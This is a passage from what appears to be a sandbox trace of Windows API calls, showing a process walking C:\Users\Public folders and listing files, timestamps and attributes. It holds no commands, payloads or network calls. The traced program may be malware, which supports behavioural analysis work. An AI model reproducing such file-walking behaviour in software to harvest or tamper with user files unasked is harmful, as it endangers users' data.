ftLastWriteTime.dwLowDateTime=0x28a29e5c, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Libraries", cAlternateFileName="")) returned 1 [0093.062] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28305c4e, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288ad099, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Music", cAlternateFileName="")) returned 1 [0093.062] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x282dfaee, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288ad099, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pictures", cAlternateFileName="")) returned 1 [0093.062] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa597fc2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x917fa2ee, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Recorded TV", cAlternateFileName="")) returned 1 [0093.062] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x282dfaee, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28886f39, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Videos", cAlternateFileName="")) returned 1 [0093.062] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x282dfaee, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28886f39, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Videos", cAlternateFileName="")) returned 0 [0093.062] GetLastError () returned 0x12 [0093.062] FindFirstFileExW (in: lpFileName="C:\\Users\\Public\\*", fInfoLevelId=0x1, lpFindFileData=0x119f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f4c4) returned 0x2e9200 [0093.062] FindClose (in: hFindFile=0x2e8f40 | out: hFindFile=0x2e8f40) returned 1 [0093.063] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x917fa2ee, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x917fa2ee, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0093.063] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb0a09a40, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb0a09a40, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 1 [0093.063] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fce18 [0093.063] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Desktop" (normalized: "c:\\users\\public\\desktop"), fInfoLevelId=0x0, lpFileInformation=0x119f3c0 | out: lpFileInformation=0x119f3c0*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb0a09a40, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb0a09a40, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0093.063] CreateFileW (lpFileName="C:\\Users\\Public\\Desktop" (normalized: "c:\\users\\public\\desktop"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x15c [0093.063] SetFileTime (hFile=0x15c, lpCreationTime=0x0, lpLastAccessTime=0x119f404, lpLastWriteTime=0x119f404) returned 0 [0093.063] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x126d560 [0093.064] DeviceIoControl (in: hDevice=0x15c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x126d560, nOutBufferSize=0x4000, lpBytesReturned=0x119f45c, lpOverlapped=0x0 | out: lpOutBuffer=0x126d560, lpBytesReturned=0x119f45c, lpOverlapped=0x0) returned 0 [0093.064] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x126d560) returned 1 [0093.064] NtClose (Handle=0x15c) returned 0x0 [0093.064] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fce18) returned 1 [0093.064] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fce18 [0093.065] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fdf18 [0093.065] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fdfa0 [0093.065] FindFirstFileExW (in: lpFileName="C:\\Users\\Public\\Desktop\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e8f40 [0093.065] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb0a09a40, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb0a09a40, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0093.065] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83c279c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x83c279c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x83c4db20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x7e9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe Reader X.lnk", cAlternateFileName="")) returned 1 [0093.065] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fe028 [0093.066] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fe028) returned 1 [0093.066] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fe028 [0093.066] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fe028) returned 1 [0093.066] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fe028 [0093.067] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f99d8 [0093.067] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fe0b0 [0093.067] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fe028) returned 1 [0093.067] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2826d6cd, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x2826d6cd, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28860dd8, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0093.067] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fe028 [0093.068] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fe028) returned 1 [0093.068] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fe028 [0093.069] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fe028) returned 1 [0093.069] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fe028 [0093.069] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f99f8 [0093.069] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fe138 [0093.070] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fe028) returned 1 [0093.070] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7df21ca0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7df21ca0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7df21ca0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x8d1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Google Chrome.lnk", cAlternateFileName="")) returned 1 [0093.070] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fe028 [0093.070] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fe028) returned 1 [0093.070] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fe028 [0093.071] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fe028) returned 1 [0093.071] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fe028 [0093.071] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f9a18 [0093.071] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fe1c0 [0093.072] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fe028) returned 1 [0093.072] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0a09a40, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb0a09a40, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb0a09a40, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x485, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mozilla Firefox.lnk", cAlternateFileName="")) returned 1 [0093.072] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fe028 [0093.072] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fe028) returned 1 [0093.072] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fe028 [0093.073] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fe028) returned 1 [0093.073] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fe028 [0093.073] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f9a38 [0093.073] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fe248 [0093.074] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fe028) returned 1 [0093.074] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0a09a40, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb0a09a40, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb0a09a40, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x485, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mozilla Firefox.lnk", cAlternateFileName="")) returned 0 [0093.074] GetLastError () returned 0x12 [0093.074] FindFirstFileExW (in: lpFileName="C:\\Users\\Public\\Desktop\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e9080 [0093.074] FindClose (in: hFindFile=0x2e8f40 | out: hFindFile=0x2e8f40) returned 1 [0093.074] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb0a09a40, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb0a09a40, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0093.074] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83c279c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x83c279c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x83c4db20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x7e9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe Reader X.lnk", cAlternateFileName="")) returned 1 [0093.074] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2826d6cd, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x2826d6cd, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28860dd8, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0093.074] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7df21ca0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7df21ca0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7df21ca0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x8d1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Google Chrome.lnk", cAlternateFileName="")) returned 1 [0093.074] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0a09a40, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb0a09a40, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb0a09a40, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x485, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mozilla Firefox.lnk", cAlternateFileName="")) returned 1 [0093.074] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0a09a40, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb0a09a40, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb0a09a40, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x485, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mozilla Firefox.lnk", cAlternateFileName="")) returned 0 [0093.074] GetLastError () returned 0x12 [0093.075] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fdfa0) returned 1 [0093.075] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0093.075] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fdf18) returned 1 [0093.075] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fce18) returned 1 [0093.075] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x286e4016, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x286e4016, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28a4ffbc, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0093.075] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x3079b513, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3079b513, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Documents", cAlternateFileName="")) returned 1 [0093.075] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fce18 [0093.076] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Documents" (normalized: "c:\\users\\public\\documents"), fInfoLevelId=0x0, lpFileInformation=0x119f3c0 | out: lpFileInformation=0x119f3c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x3079b513, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3079b513, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0093.076] CreateFileW (lpFileName="C:\\Users\\Public\\Documents" (normalized: "c:\\users\\public\\documents"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x164 [0093.076] SetFileTime (hFile=0x164, lpCreationTime=0x0, lpLastAccessTime=0x119f404, lpLastWriteTime=0x119f404) returned 0 [0093.076] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x126d560 [0093.076] DeviceIoControl (in: hDevice=0x164, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x126d560, nOutBufferSize=0x4000, lpBytesReturned=0x119f45c, lpOverlapped=0x0 | out: lpOutBuffer=0x126d560, lpBytesReturned=0x119f45c, lpOverlapped=0x0) returned 0 [0093.077] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x126d560) returned 1 [0093.077] NtClose (Handle=0x164) returned 0x0 [0093.077] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fce18) returned 1 [0093.077] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fce18 [0093.077] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fdf18 [0093.078] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fdfa0 [0093.078] FindFirstFileExW (in: lpFileName="C:\\Users\\Public\\Documents\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e9080 [0093.078] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x3079b513, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3079b513, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0093.078] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28697d55, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x28697d55, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28a4ffbc, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x116, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0093.078] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fe028 [0093.079] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fe028) returned 1 [0093.079] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fe028 [0093.079] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fe028) returned 1 [0093.079] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fe028 [0093.079] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f9a58 [0093.080] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fe2d0 [0093.080] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fe028) returned 1 [0093.080] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3079b513, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3079b513, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3079b513, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Music", cAlternateFileName="")) returned 1 [0093.080] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3079b513, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3079b513, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3079b513, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Pictures", cAlternateFileName="")) returned 1 [0093.080] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3079b513, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3079b513, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3079b513, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Videos", cAlternateFileName="")) returned 1 [0093.080] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3079b513, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3079b513, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3079b513, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Videos", cAlternateFileName="")) returned 0 [0093.080] GetLastError () returned 0x12 [0093.080] FindFirstFileExW (in: lpFileName="C:\\Users\\Public\\Documents\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e8f40 [0093.081] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0093.081] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x3079b513, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3079b513, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0093.081] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28697d55, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x28697d55, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28a4ffbc, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x116, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0093.081] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3079b513, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3079b513, ftLastAccessTime.dwHighDateTime=0x1ca0441, 